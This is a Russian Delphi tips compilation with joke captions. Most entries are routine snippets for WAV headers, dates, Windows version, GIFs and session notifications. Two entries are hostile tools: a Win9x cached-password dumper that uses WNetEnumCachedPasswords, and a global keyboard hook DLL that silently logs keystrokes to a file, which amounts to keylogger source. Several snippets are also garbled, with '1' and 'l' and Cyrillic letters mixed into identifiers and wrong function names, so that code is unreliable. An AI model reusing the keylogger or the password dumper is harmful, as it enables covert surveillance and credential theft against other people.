EMyMCIException = class(Exception);
TWavHeader = record
Marker1: array[0..3] of Char;
BytesFollowing: Longint;
Marker2: array[0..3] of Char;
Marker3: array[0..3] of Char;
Fixed1: Longint;
FormatTag: Word;
Channels: Word;
SampleRate: Longint;
BytesPerSecond: Longint;
BytesPerSample: Word;
BitsPerSample: Word;
Marker4: array[0..3] of Char;
DataBytes: Longint;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
Header: TWavHeader;
begin
with TFileStream.Create('C:\SomeFile.wav', fmOpenRead) do
try
ReadBuffer(Header, SizeOf(Header));
finally
Free;
end;
ShowMessage(FloatToStr((Int64(1000) * header.DataBytes div
header.BytesPerSecond) / 1000));
end;
Получить номер недели по дате.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
var
FirstWeekDay: Integer = 2;
{ Wochentag, mit dem die Woche beginnt
(siehe Delphi-Wochentage)
2 : Montag (nach DIN 1355) }
FirstWeekDate: Integer = 4;
{ 1 : Beginnt am ersten Januar
4 : Erste-4 Tage-Woche (nach DIN 1355)
7 : Erste volle Woche }
{ liefert das Datum des ersten Tages der Woche }
{ get date of first day of week}
function WeekToDate(AWeek, AYear: Integer): TDateTime;
begin
Result := EncodeDate(AYear, 1, FirstWeekDate);
Result := Result + (AWeek - 1) * 7 - ((DayOfWeek(Result) + (7 - FirstWeekDay)) mod 7);
end;
{ liefert die Wochennummer und das Jahr, zu dem die Woche gehort }
{ get weeknumber and year of the given week number}
procedure DateToWeek(ADate: TDateTime; var AWeek, AYear: Word);
var
Month, Day: Word;
begin
ADate := ADate - ((DayOfWeek(ADate) - FirstWeekDay + 7) mod 7) + 7 - FirstWeekDate;
DecodeDate(ADate, AYear, Month, Day);
AWeek := (Trunc(ADate - EncodeDate(AYear, 1, 1)) div 7) + 1;
end;
{Week to date example}
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(FormatDateTime('dd.mm.yyyy', WeekToDate(51, 2000)));
end;
{Date to week example}
procedure TForm1.Button2Click(Sender: TObject);
var
week, year: Word;
begin
DateToWeek(now, week, year);
ShowMessage(IntToStr(week));
ShowMessage(IntToStr(year));
end;
Как получить закэшированные пароли в Win9x.
program getpass;
type
...
ListBox: TListBox;
procedure getpasswords;
end;
const
Count: Integer = 0;
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte;
PC: PChar; dw: DWord): Word; stdcall;
implementation
{$R *.DFM}
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC:
PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';
type
PWinPassword = ^TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
EntryIndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;
var
WinPassword: TWinPassword;
function AddPassword(WinPassword: PWinPassword;
dw: DWord): LongBool; stdcall;
var
Password: string;
PC: array[0..$FF] of Char;
begin
inc(Count);
Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
PC[WinPassword.ResourceSize] := #0;
CharToOem(PC, PC);
Password := StrPas(PC);
Move(WinPassword.PasswordC, PC,
WinPassword.PasswordSize + WinPassword.ResourceSize);
Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
PC[WinPassword.PasswordSize] := #0;
CharToOem(PC, PC);
Password := Password + ': ' + StrPas(PC);
Form1.ListBox.Items.Add(Password);
Result := True;
end;
procedure tform1.getpasswords;
var
error: string;
begin
if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
begin
error := 'Can not load passwords: User is not loged on.';
end
else if Count = 0 then
error := 'No passwords found...'
end;
|
Получить тип файла Windows.
| И был свет... И была тьма... И загрузилась Windows! |
uses ShellAPI;
function MrsGetFileType(const strFilename: string): string;
var
FileInfo: TSHFileInfo;
begin
FillChar(FileInfo, SizeOf(FileInfo), #0);
SHGetFileInfo(PChar(strFilename), 0, FileInfo, SizeOf(FileInfo), SHGFI_TYPENAME);
Result := FileInfo.szTypeName;
end;
// Example:
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage('File type is: ' + MrsGetFileType('c:\autoexec.bat'));
end;
|
Как узнать версию Windows.
| Если чрезмерная увлеченность вашего ребенка компьютерными играми вызывает у вас беспокойство, постарайтесь приобщить его к более серьезным и здоровым занятиям: картам, вину, девочкам. |
Использовать функцию API GetVersionEx.
function GetVersionEx(var lpVersionInformation: TOSVersionInfo): BOOL; stdcall; |
Аргумент функции - структура TOSVersionInfo, содержит DwVersionInfoSize:DWORD - заполняется как sizeof(TOSVersionInfo) перед вызовом функции.
DwMajorVersion:DWORD - старшая цифра версии Windows.
Windows 95 - 4 Windows 98 - 4 Windows Me - 4 Windows NT 3.51 - 3 Windows NT 4.0 - 4 Windows 2000 - 5 Windows XP - 5DwMinorVersion: DWORD - младшая цифра версии.
Windows 95 - 0 Windows 98 - 10 Windows Me - 90 Windows NT 3.51 - 51 Windows NT 4.0 - 0 Windows 2000 - 0 Windows XP - 1DwBuildNumber: DWORD.
Win NT 4 - номер билда Win 9x - старший байт - старшая и младшая цифры версии / младший - номер билдаDwPlatformId: DWORD.
VER_PLATFORM_WIN32s Win32s on Windows 3.1. VER_PLATFORM_WIN32_WINDOWS Win32 on Windows 9x VER_PLATFORM_WIN32_NT Win32 on Windows NT, 2000SzCSDVersion:DWORD.
NT - содержит РСhаг с инфо о установленном ServicePack 9x - доп. инфо, может и не бытьКак узнать версию Windows 2.
Этот пример должен работать на всех версиях Windows.
{$IFDEF WIN32}
function GetVersionEx(lpOs: pointer): BOOL; stdcall;
external 'kernel32' name 'GetVersionExA';
{$ENDIF}
procedure GetWindowsVersion(var Major: integer;
var Minor: integer);
var
{$IFDEF WIN32}
lpOS, lpOS2: POsVersionInfo;
{$ELSE}
l: longint;
{$ENDIF}
begin
{$IFDEF WIN32}
GetMem(lpOS, SizeOf(TOsVersionInfo));
lpOs^.dwOSVersionInfoSize := SizeOf(TOsVersionInfo);
while getVersionEx(lpOS) = false do begin
GetMem(lpos2, lpos^.dwOSVersionInfoSize + 1);
lpOs2^.dwOSVersionInfoSize := lpOs^.dwOSVersionInfoSize + 1;
FreeMem(lpOs, lpOs^.dwOSVersionInfoSize);
lpOS := lpOs2;
end;
Major := lpOs^.dwMajorVersion;
Minor := lpOs^.dwMinorVersion;
FreeMem(lpOs, lpOs^.dwOSVersionInfoSize);
{$ELSE}
l := GetVersion;
Major := LoByte(LoWord(l));
Minor := HiByte(LoWord(l));
{$ENDIF}
end;
procedure TForm1.Button1Click(Sender: TObject);
var
Major: integer;
Minor: integer;
begin
GetWindowsVersion(Major, Minor);
Memo1.Lines.Add(IntToStr(Major));
Memo1.Lines.Add(IntToStr(Minor));
end;
|
Получить текст заголовка определенного окна.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// This example will show you a faster method how you can obtain
// the text of the specified window's title bar under Windows NT/2000 systems.
// (c)1999 Ashot Oganesyan K, SmartLine, Inc
// mailto:ashot@aha.ru, http://www.protect-me.com, http://www.codepile.com
// The function copies the text of the specified window's title bar
// (if it has one) into a buffer. The InternalGetWindowText function is
// much faster than the documented GetWindowText because it uses INT 2E interrupt
// NT-Specific!
// Here is the prototype for InternalGetWindowText:
(*
InternalGetWindowText(
hWnd: HWND; {a handle to a window or control with text}
lpString: PChar; {a pointer to a buffer to receive the string (UNICODE!!!)}
nMaxCount: Integer {the maximum number of characters to copy}
): Integer; {returns the length of the copied string}
*)
function NT_InternalGetWindowText(Wnd: HWND): string;
type
TInternalGetWindowText = function(Wnd: HWND; lpString: PWideChar;
nMaxCount: Integer): Integer;
stdcall;
var
hUserDll: THandle;
InternalGetWindowText: TInternalGetWindowText;
lpString: array[0..MAX_PATH] of WideChar; //Buffer for window caption
oemStr: PChar;
begin
Result := '';
hUserDll := GetModuleHandle('user32.dll');
if (hUserDll > 0) then
begin @InternalGetWindowText := GetProcAddress(hUserDll, 'InternalGetWindowText');
if Assigned(InternalGetWindowText) then
begin
InternalGetWindowText(Wnd, lpString, SizeOf(lpString));
Result := string(lpString);
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(NT_InternalGetWindowText(Form1.Handle));
end;
Узнать путь к каталогам Windows.
| Звонок в фирму: - Что вы предпринимаете для защиты от вирусов? - Выпускаем одноразовые компьютеры... |
uses Registry;
procedure TForm1.Button1Click(Sender: TObject);
var
reg : TRegistry;
ts : TStrings;
i : integer;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.LazyWrite := false;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders', false);
ts := TStringList.Create;
reg.GetValueNames(ts);
for i := 0 to ts.Count -1 do
Memo1.Lines.Add(ts.Strings[i] + ' = ' + reg.ReadString(ts.Strings[i]));
ts.Free;
reg.CloseKey;
reg.free;
end;
|
Выбрать слово из строки по номеру.
Приведу несколько простых функций, позволяющих работать с отдельными словами в строке. Возможно они пригодятся вам для разбивки текстовых полей на отдельные слова (for i := 1 to NumToken do ...) с последующим сохранением их в базе данных.
function GetToken(aString, SepChar: string; TokenNum: Byte): string;
{
параметры: aString : полная строка
SepChar : единственный символ, служащий
разделителем между словами (подстроками)
TokenNum: номер требуемого слова (подстроки))
result : искомое слово или пустая строка, если количество слов
меньше значения 'TokenNum'
}
var
Token: string;
StrLen: Byte;
TNum: Byte;
TEnd: Byte;
begin
StrLen := Length(aString);
TNum := 1;
TEnd := StrLen;
while ((TNum <= TokenNum) and (TEnd <> 0)) do
begin
TEnd := Pos(SepChar, aString);
if TEnd <> 0 then
begin
Token := Copy(aString, 1, TEnd - 1);
Delete(aString, 1, TEnd);
Inc(TNum);
end
else
begin
Token := aString;
end;
end;
if TNum >= TokenNum then
begin
GetToken1 := Token;
end
else
begin
GetToken1 := '';
end;
end;
function NumToken(aString, SepChar: string): Byte;
{
parameters: aString : полная строка
SepChar : единственный символ, служащий
разделителем между словами (подстроками)
result : количество найденных слов (подстрок)
}
var
RChar: Char;
StrLen: Byte;
TNum: Byte;
TEnd: Byte;
begin
if SepChar = '#' then
begin
RChar := '*'
end
else
begin
RChar := '#'
end;
StrLen := Length(aString);
TNum := 0;
TEnd := StrLen;
while TEnd <> 0 do
begin
Inc(TNum);
TEnd := Pos(SepChar, aString);
if TEnd <> 0 then
begin
aString[TEnd] := RChar;
end;
end;
Result := TNum;
end;
|
Или другое решение:
function CopyColumn(const s_string: string; c_fence: char; i_index: integer):
string;
var
i, i_left: integer;
begin
result := EmptyStr;
if i_index = 0 then
begin
exit;
end;
i_left := 0;
for i := 1 to Length(s_string) do
begin
if s_string[i] = c_fence then
begin
Dec(i_index);
if i_index = 0 then
begin
result := Copy(s_string, i_left + 1, i - i_left - 1);
exit;
end
else
begin
i_left := i;
end;
end;
end;
Dec(i_index);
if i_index = 0 then
begin
result := Copy(s_string, i_left + 1, Length(s_string));
end;
end;
|
Я знаю что в GetToken параметр SepChar (в моем случае c_fence) строка, не символ, но комментарий гласит, что функция ожидает единственный символ в этой строке, и это очевидно, поскольку если вы пошлете более одного символа, функция попросту несработает. ( Delete(aString,1,TEnd) будет ошибкой, если Length( SepChar ) > 1 ).
Получить сообщение о переключении сессии в XP.
| Наконец компания Microsoft честно вынесла качество работы Windows в название: Windows XP (Х#й Работает). |
// Typically, an application does not need to be notified when a session switch
// occurs. However, if the application needs to be aware when its desktop is
// current, it can register for session switch notifications. Applications that
// access the serial port or another shared resource on the computer should
// check for this. To register for a notification, use the following function:
function WTSRegisterSessionNotification(
hWnd: HWND , // Window handle
dwFlags: DWORD // Flags
): Bool; // Return value
{
The registered HWND receives the message WM_WTSSESSION_CHANGE
through its WindowProc function.
In dwFlags you can specify:
a) NOTIFY_FOR_THIS_SESSION. A window is notified only about the session
change events that affect the session to which window belongs.
b) NOTIFY_FOR_ALL_SESSIONS. A window is notified for all session change
events.
The action happening on the session can be found in wParam code, which may
contain one of the following flags.
WTS_CONSOLE_CONNECT: A session was connected to the console session.
WTS_CONSOLE_DISCONNECT: A session was disconnected from the console session.
WTS_REMOTE_CONNECT: A session was connected to the remote session.
WTS_REMOTE_DISCONNECT: A session was disconnected from the remote session.
WTS_SESSION_LOGON: A user has logged on to the session.
WTS_SESSION_LOGOFF: A user has logged off the session.
WTS_SESSION_LOCK: A session has been locked.
WTS_SESSION_UNLOCK: A session has been unlocked.
WTS_SESSION_REMOTE_CONTROL: A session has changed its remote controlled status.
lParam contains the sessionId for the session affected.
When your process no longer requires these notifications or is terminating,
it should call the following to unregister its notification.
}
function WTSUnRegisterSesssionNotification(
hWnd: HWND // window handle.
): Boolean; // Result
{
The HWND values passed to WTSRegisterSessionNotification are reference
counted, so you must call WTSUnRegisterSessionNotification exactly the same
number of times that you call WTSRegisterSessionNotification.
Applications can use the WTS_CONSOLE_CONNECT, WTS_CONSOLE_DISCONNECT,
WTS_REMOTE_CONNECT, WTS_REMOTE_DISCONNECT messages to track their state, as
well as to release and acquire console specific resources.
}
unit Wtsapi;
interface
{ (c) By Thomas Stutz 10. April 02 }
uses
Windows;
const
// The WM_WTSSESSION_CHANGE message notifies applications of changes in session state.
WM_WTSSESSION_CHANGE = $2B1;
// wParam values:
WTS_CONSOLE_CONNECT = 1;
WTS_CONSOLE_DISCONNECT = 2;
WTS_REMOTE_CONNECT = 3;
WTS_REMOTE_DISCONNECT = 4;
WTS_SESSION_LOGON = 5;
WTS_SESSION_LOGOFF = 6;
WTS_SESSION_LOCK = 7;
WTS_SESSION_UNLOCK = 8;
WTS_SESSION_REMOTE_CONTROL = 9;
// Only session notifications involving the session attached to by the window
// identified by the hWnd parameter value are to be received.
NOTIFY_FOR_THIS_SESSION = 0;
// All session notifications are to be received.
NOTIFY_FOR_ALL_SESSIONS = 1;
function RegisterSessionNotification(Wnd: HWND; dwFlags: DWORD): Boolean;
function UnRegisterSessionNotification(Wnd: HWND): Boolean;
function GetCurrentSessionID: Integer;
implementation
function RegisterSessionNotification(Wnd: HWND; dwFlags: DWORD): Boolean;
// The RegisterSessionNotification function registers the specified window
// to receive session change notifications.
// Parameters:
// hWnd: Handle of the window to receive session change notifications.
// dwFlags: Specifies which session notifications are to be received:
// (NOTIFY_FOR_THIS_SESSION, NOTIFY_FOR_ALL_SESSIONS)
type
TWTSRegisterSessionNotification = function(Wnd: HWND; dwFlags: DWORD): BOOL; stdcall;
var
hWTSapi32dll: THandle;
WTSRegisterSessionNotification: TWTSRegisterSessionNotification;
begin
Result := False;
hWTSAPI32DLL := LoadLibrary('Wtsapi32.dll');
if (hWTSAPI32DLL > 0) then
begin
try @WTSRegisterSessionNotification :=
GetProcAddress(hWTSAPI32DLL, 'WTSRegisterSessionNotification');
if Assigned(WTSRegisterSessionNotification) then
begin
Result:= WTSRegisterSessionNotification(Wnd, dwFlags);
end;
finally
if hWTSAPI32DLL > 0 then
FreeLibrary(hWTSAPI32DLL);
end;
end;
end;
function UnRegisterSessionNotification(Wnd: HWND): Boolean;
// The RegisterSessionNotification function unregisters the specified window
// Parameters:
// hWnd: Handle to the window
type
TWTSUnRegisterSessionNotification = function(Wnd: HWND): BOOL; stdcall;
var
hWTSapi32dll: THandle;
WTSUnRegisterSessionNotification: TWTSUnRegisterSessionNotification;
begin
Result := False;
hWTSAPI32DLL := LoadLibrary('Wtsapi32.dll');
if (hWTSAPI32DLL > 0) then
begin
try @WTSUnRegisterSessionNotification :=
GetProcAddress(hWTSAPI32DLL, 'WTSUnRegisterSessionNotification');
if Assigned(WTSUnRegisterSessionNotification) then
begin
Result:= WTSUnRegisterSessionNotification(Wnd);
end;
finally
if hWTSAPI32DLL > 0 then
FreeLibrary(hWTSAPI32DLL);
end;
end;
end;
function GetCurrentSessionID: Integer;
// Getting the session id from the current process
type
TProcessIdToSessionId = function(dwProcessId: DWORD; pSessionId: DWORD): BOOL; stdcall;
var
ProcessIdToSessionId: TProcessIdToSessionId;
hWTSapi32dll: THandle;
Lib : THandle;
pSessionId : DWord;
begin
Result := 0;
Lib := GetModuleHandle('kernel32');
if Lib <> 0 then
begin
ProcessIdToSessionId := GetProcAddress(Lib, '1ProcessIdToSessionId');
if Assigned(ProcessIdToSessionId) then
begin
ProcessIdToSessionId(GetCurrentProcessId(), DWORD(@pSessionId));
Result:= pSessionId;
end;
end;
end;
end.
// Example:
unit Unit1;
interface
uses
Windows, Messages, {...}, Wtsapi;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
FRegisteredSessionNotification : Boolean;
procedure AppMessage(var Msg: TMSG; var HAndled: Boolean);
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.AppMessage(var Msg: TMSG; var Handled: Boolean);
var
strReason: string;
begin
Handled := False;
// Check for WM_WTSSESSION_CHANGE message
if Msg.Message = WM_WTSSESSION_CHANGE then
begin
case Msg.wParam of
WTS_CONSOLE_CONNECT:
strReason := 'WTS_CONSOLE_CONNECT';
WTS_CONSOLE_DISCONNECT:
strReason := 'WTS_CONSOLE_DISCONNECT';
WTS_REMOTE_CONNECT:
strReason := 'WTS_REMOTE_CONNECT';
WTS_REMOTE_DISCONNECT:
strReason := 'WTS_REMOTE_DISCONNECT';
WTS_SESSION_LOGON:
strReason := 'WTS_SESSION_LOGON';
WTS_SESSION_LOGOFF:
strReason := 'WTS_SESSION_LOGOFF';
WTS_SESSION_LOCK:
strReason := 'WTS_SESSION_LOCK';
WTS_SESSION_UNLOCK:
strReason := 'WTS_SESSION_UNLOCK';
WTS_SESSION_REMOTE_CONTROL:
begin
strReason := 'WTS_SESSION_REMOTE_CONTROL';
// GetSystemMetrics(SM_REMOTECONTROL);
end;
else
strReason := 'WTS_Unknown';
end;
// Write strReason to a Memo
Memo1.Lines.Add(strReason + ' ' + IntToStr(msg.Lparam));
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
// register the window to receive session change notifications.
FRegisteredSessionNotification := RegisterSessionNotification(Handle, NOTIFY_FOR_THIS_SESSION);
Application.OnMessage := AppMessage;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
// unregister session change notifications.
if FRegisteredSessionNotification then
UnRegisterSessionNotification(Handle);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
// retrieve current session ID
ShowMessage(Inttostr(GetCurrentSessionID));
end;
|
GIF для HTML в EXE.
| Если места не хватает Для Descenta или Dooma Удаляй тогда смелее Все начальниковы gifы И тогда освоботится Мегабайт(ов) эдак 40... А когда начальник спросит Где же вся его порнуха Отвечай что выел вирус Сиськи у его картинок. |
=== Begin gifs.rc === mygif rcdata "имя_gif-файла.gif" mygif1 rcdata "RCDATA_1" === End dots.rc ===Потом скомпилировать его командой brcc32 gifs.rc и получить gifs.res В начало модуля добавь строчку {$R gifs.res}
В своей программе необходимо написать:
var
rs: TResourceStream;
a: Pointer;
begin
rs := TResourceStream.Create(hinstance, 'RCDATA_1', RT_RCDATA);
try
GetMem(a, rs.size);
rs.Read(a^, rs.size); {Теперь a - динамический указатель на код}
{ Здесь делается все, что необходимо с кодом, используя указатель a }
FreeMem(a);
finally
rs.Free;
end;
end;
|
А можно и так, если необходимо записать ресурс в файл:
var
rs: TResourceStream;
fs: TFileStream;
begin
rs := TResourceStream.Create(hInstance, 'mygif', RT_RCDATA);
fs := TFileStream.Create('имя_gif-файла.gif', fmCreate);
try
fs.CopyFrom(rs, rs.Size);
finally
fs.Free;
rs.Free;
end;
end;
|
Получить размер GIF-картинки.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
type
TImageSize = record
Width: Integer;
Height: Integer;
end;
function ReadGIFSize(Stream: TStream): TImageSize;
type
TGifHeader = record
Signature: array [0..5] of Char;
Width, Height: Word;
end;
var
Header: TGifHeader;
begin
FillChar(Header, SizeOf(TGifHeader), #0);
Result.Width := -1;
Result.Height := -1;
with Stream do
begin
Seek(0, soFromBeginning);
ReadBuffer(Header, SizeOf(TGifHeader));
end;
if (AnsiUpperCase(Header.Signature) = 'GIF89A') or
(AnsiUpperCase(Header.Signature) = 'GIF87A') then
begin
Result.Width := Header.Width;
Result.Height := Header.Height;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
const
FileName = 'D:\test.gif';
var
fs: TFileStream;
gifsize: TImageSize;
begin
fs := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite);
try
gifsize := ReadGIFSize(fs);
ShowMessage(Format('Breite %d Нцhе %d', [gifsize.Width, gifsize.Height]));
finally
fs.Free;
end;
end;
Как работать с GIF файлами.
Этот код, делает следующее, загружаем в листбох список Gif файлов, затем это все дело обьединяетсяв один BMP файл,картинка к картинке, кто знает DirectX поймет для чего это надо (спрайты).
procedure TForm1.Button2Click(Sender: TObject);
begin
if opendialog1.Execute then
begin
ListBox1.Items := opendialog1.Files;
Edit2.Text := inttostr(ListBox1.Items.Count);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
i, a: integer;
bm: TBItmap;
begin
a := 0;
bm := TBItmap.Create;
image1.Picture.LoadFromFile(listbox1.Items[0]);
bm.Height := image1.Height;
bm.Width := listbox1.Items.Count * image1.Picture.width;
for i := 0 to listbox1.Items.Count - 1 do
begin
image1.Picture.LoadFromFile(listbox1.Items[i]);
bm.Canvas.Draw(a, 0, image1.Picture.Graphic);
a := a + image1.Picture.Height;
end;
//form1.Canvas.Draw(0,0,bm);
bm.SaveToFile(Edit1.Text + '.bmp');
bm.free;
end;
Как работать с GIF файлами 2.
Автор: МММ WEB-сайт: http://forum.vingrad.ruИз файловов GIF (анимированных) вытаскивает каждую картинку в отдельности, или записывает в отдельный BMP по очереди Для этих программок нужен всеми любимый RX Lib !!!
procedure TForm1.Button4Click(Sender: TObject);
var
i, a: integer;
bm: TBItmap;
begin
a := 0;
bm := TBItmap.Create;
bm.Height := RxGIFAnimator1.Height;
bm.Width := RxGIFAnimator1.Image.Count * RxGIFAnimator1.width;
for i := 0 to RxGIFAnimator1.Image.Count - 1 do
begin
RxGIFAnimator1.FrameIndex := i;
bm.Canvas.Draw(a, 0, RxGIFAnimator1.Image.Frames[i].Bitmap);
a := a + RxGIFAnimator1.Height;
end;
//form1.Canvas.Draw(0,0,bm);
bm.SaveToFile(Edit1.Text + '.bmp');
bm.free;
end;
Кривая Гильберта.
unit gilbert_;
interface
uses
Windows, Messages, SysUtils,
Variants, Classes, Graphics,
Controls, Forms, Dialogs, StdCtrls, ComCtrls;
type
TForml = class(TForm)
procedure FormPaint(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
var
p: integer = 5; // порядок кривой
u: integer = 7; // длина штриха
{ Кривую Гильберта можно получить путем
соединения элементов а,b,с и d.
Каждый элемент строит
соответствующая процедура. }
procedure a(i: integer; canvas: TCanvas); forward;
procedure b(i: integer; canvas: TCanvas); forward;
procedure с(i: integer; canvas: TCanvas); forward;
procedure d(i: integer; canvas: TCanvas); forward;
// Элементы кривой
procedure a(i: integer; canvas: TCanvas);
begin
if i > 0 then
begin
d(i - l, canvas);
canvas.LineTo(canvas.PenPos.X + u, canvas.PenPos.Y);
a(i - l, canvas);
canvas.LineTo(canvas.PenPos.X, canvas.PenPos.Y + u);
a(i - l, canvas);
canvas.LineTo(canvas.PenPos.X - u, canvas.PenPos.Y);
с(i - 1, canvas);
end;
end;
procedure b(i: integer; canvas: TCanvas);
begin
if i > 0 then
begin
c(i - l, canvas);
canvas.LineTo(canvas.PenPos.X - u, canvas.PenPos.Y);
b(i - 1, canvas);
canvas.LineTo(canvas.PenPos.X, canvas.PenPos.Y - u);
b(i - l, canvas);
canvas.LineTo(canvas.PenPos.X + u, canvas.PenPos.Y);
d(i - l, canvas);
end;
end;
procedure c(i: integer; canvas: TCanvas);
begin
if i > 0 then
begin
b(i - 1, canvas);
canvas.LineTo(canvas.PenPos.X, canvas.PenPos.Y - u);
с(i - 1, canvas);
canvas.LineTo(canvas.PenPos.X - u, canvas.PenPos.Y);
c(i - 1, canvas);
canvas.LineTo(canvas.PenPos.X, canvas.PenPos.Y + u);
a(i - 1, canvas);
end;
end;
procedure d(i: integer; canvas: TCanvas);
begin
if i > 0 then
begin
a(i - 1, canvas);
canvas.LineTo(canvas.PenPos.X, canvas.PenPos.Y + u);
d(i - 1, canvas);
canvas.LineTo(canvas.PenPos.X + u, canvas.PenPos.Y);
d(i - 1, canvas);
canvas.LineTo(canvas.PenPos.X, canvas.PenPos.Y - u);
b(i - 1, canvas);
end;
end;
procedure TForml.FormPaint(Sender: TObject);
begin
Form1.Canvas.MoveTo(u, u);
a(5, Form1.Canvas); // вычертить кривую Гильберта
end;
end.
Следует обратить внимание на следующую особенность реализации программы. Процедура, которая вычерчивает элемент а, помимо самой себя (для вычерчивания элемента а кривой более низкого порядка) вызывает процедуры d и ь, описание (текст) которых в тексте программы находится после процедуры а. Чтобы компилятор не вывел сообщение об ошибке, в текст программы помещено объявление процедуры с ключевым словом forward, означающим, что это только объявление, а описание (реализация) находится дальше. Таким образом, уже в процессе компиляции процедуры а, компилятор "знает", что имена ь и d означают процедуры.
Как добавить функции картографирования в приложение.
| Автор: Хилл Василий |
| Билл Гейтс в Мак Дональдсе. Билл: - Мне, пожалуйста, один Биг Мак. Продавец: - Один Биг Мак, одна Кола, вместе 6.99 - Но я просил только Биг Мак! - Кола идет вместе с Маком как часть единого пакета. - Что? За Колу я платить не буду! - И не надо! Кола предоставляется абсолютно бесплатно! - Но ведь один Биг Мак стоил до сих пор 3.99! - Теперь Биг Мак имеет новые возможности! Он поставляется вместе с Колой! - Я только что выпил Колу! Мне не нужна еще одна! - Тогда вам придется отказаться и от Биг Мака. - Ладно, я плачу 3.99 и отказываюсь от Колы. - Вы не можете разделять части пакета! Биг Мак и Кола тесно интегрированы! - Чушь! Мак и Кола - два различных продукта! - Тогда посмотрите (Топит Биг Мак в Коле) - Что вы делаете?! - Это в интересах покупателей! Только так мы можем гарантировать целостность вкуса всех компонентов пакета. |
Очень просто, идешь на http://www.dataplus.ru/win/DownLoad.htm и скачиваешь MapObjects LT Evaluation Copy (1,756 Mb) и MapObjects LT samples (3,343 Mb). Все это может работать под Visual Basic, Visual C++, Delphi и PowerBuilder. Ну а если есть деньги то советую MapObjects 2.1 http://www.dataplus.ru/WIN/NEWS/2001/May/MO2.1.htm
Глобальный хук на клаву.
| -Как изменится клавиатура для Windows 2005? -На ней появиться правый и левый Reset. |
library Hook;
uses Windows, SysUtils;
const KF_UP_MY = $40000000;
var CurrentHook: HHook;
KeyArray: array[0..19] of char;
KeyArrayPtr: integer;
CurFile:text;
function GlobalKeyBoardHook(code: integer; wParam: integer; lParam:
integer): longword; stdcall;
var
i:integer;
begin
if code< 0 then
begin
result:=CallNextHookEx(CurrentHook,code,wParam,lparam);
Exit;
end;
if ( (lParam and KF_UP_MY ) = 0) and (wParam> =65) and (wParam< =90) then
begin
KeyArray[KeyArrayPtr]:=char(wParam);
KeyArrayPtr:=KeyArrayPtr+1;
if KeyArrayPtr> 19 then
begin
for i:=0 to 19 do
begin
Assignfile(CurFile,'d:\log.txt');
if fileexists('d:\log.txt')=false then rewrite(CurFile)
else Append(CurFile);
write(Curfile, KeyArray[i]);
closefile(curfile);
end;
KeyArrayPtr:=0;
end;
end;
CallNextHookEx(CurrentHook,code,wParam,lparam);
result:=0;
end;
procedure SetupGlobalKeyBoardHook;
begin
CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook,HInstance, 0);
KeyArrayptr:=0;
end;
procedure unhook;
begin
UnhookWindowshookEx(CurrentHook);
end;
exports
SetupGlobalKeyBoardHook, UnHook;
begin
end.
|
Глобальный дескриптор исключений.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Although it's easy to catch exceptions using try/except blocks,
some applications might benefit from having a global exception handler.
For example, you may want your own global exception handler to handle "common"
errors such as "divide by zero," "out of space," etc.
Thanks to the TApplication's "OnException" event,
which occurs when an unhandled exception occurs in your application,
you can easily catch the unhandled exceptions.
Obowhl es leicht ist, Fehler mittels try/except abzufangen,
ist es manchmal von Vorteil, wenn die Anwendung eine eigene globale
Fehlerbehandlungsroutine hat.
Zum Beispiel zum Abfangen von Fehlern wie "Dividiert durch Null"
oder "Zuwenig Speicherplatz" etc.
Mit dem OnException Ereignis von TApplication ist es leicht,
unbehandelte Fehler in der eigenen Anwendung abzufangen.
Jede Exception, die nicht durch einen Try-Except-Block abgefangen wurde,
gelangt dann automatisch in die Routine "MyExceptionHandler".
}
{1.
Declare your custom exception handler:
eklariere den eigenen globalen Exception Handler:
}
{ Public declarations }
procedure MyExceptionHandler(Sender : TObject; E : Exception );
{2.
Define your exception handler in the "implementation" section:
In den Implementations-Abschnitt kommt dieser Code:
}
procedure TForm1.MyExceptionHandler(Sender : TObject; E : Exception );
begin
MessageDlg('ERROR: ' + E.Message);
end;
{3.
Assign the created exception handler to your application's OnException event.
Weise dem OnException Ereignis den eigenen Exception Handler zu.
}
procedure TForm1.FormCreate(Sender: TObject);
begin
Application.OnException := MyExceptionHandler;
end;
Эффективно организовать объявление глобальных переменных.
Оформил: DeeCo
Один из эффективных способов организации глобальных переменных - создать отдельный Unit и в Interface-части объявить все необходимые переменные (и, естесственно, константы ежели таковые имеются). Если теперь в других модулях записать этот Unit в uses раздел, то все глобальные переменные можно использовать в рамках целого проекта (или проектов).Уменьшение мерцания ListBox в обработчике OwnerDraw.
Автор: Neil Предположим ListBox имеет в своем списке два элемента, элемент 0 имеет фокус, активен другой компонент и вы щелкаете на элементе 1. При этом происходит *ПЯТИКРАТНЫЙ* вызов OnDrawItem, смотрите сами изменения состояний двух элементов: Index State
0 [odSelected, odFocused]
0 [odSelected]
0 []
1 [odSelected]
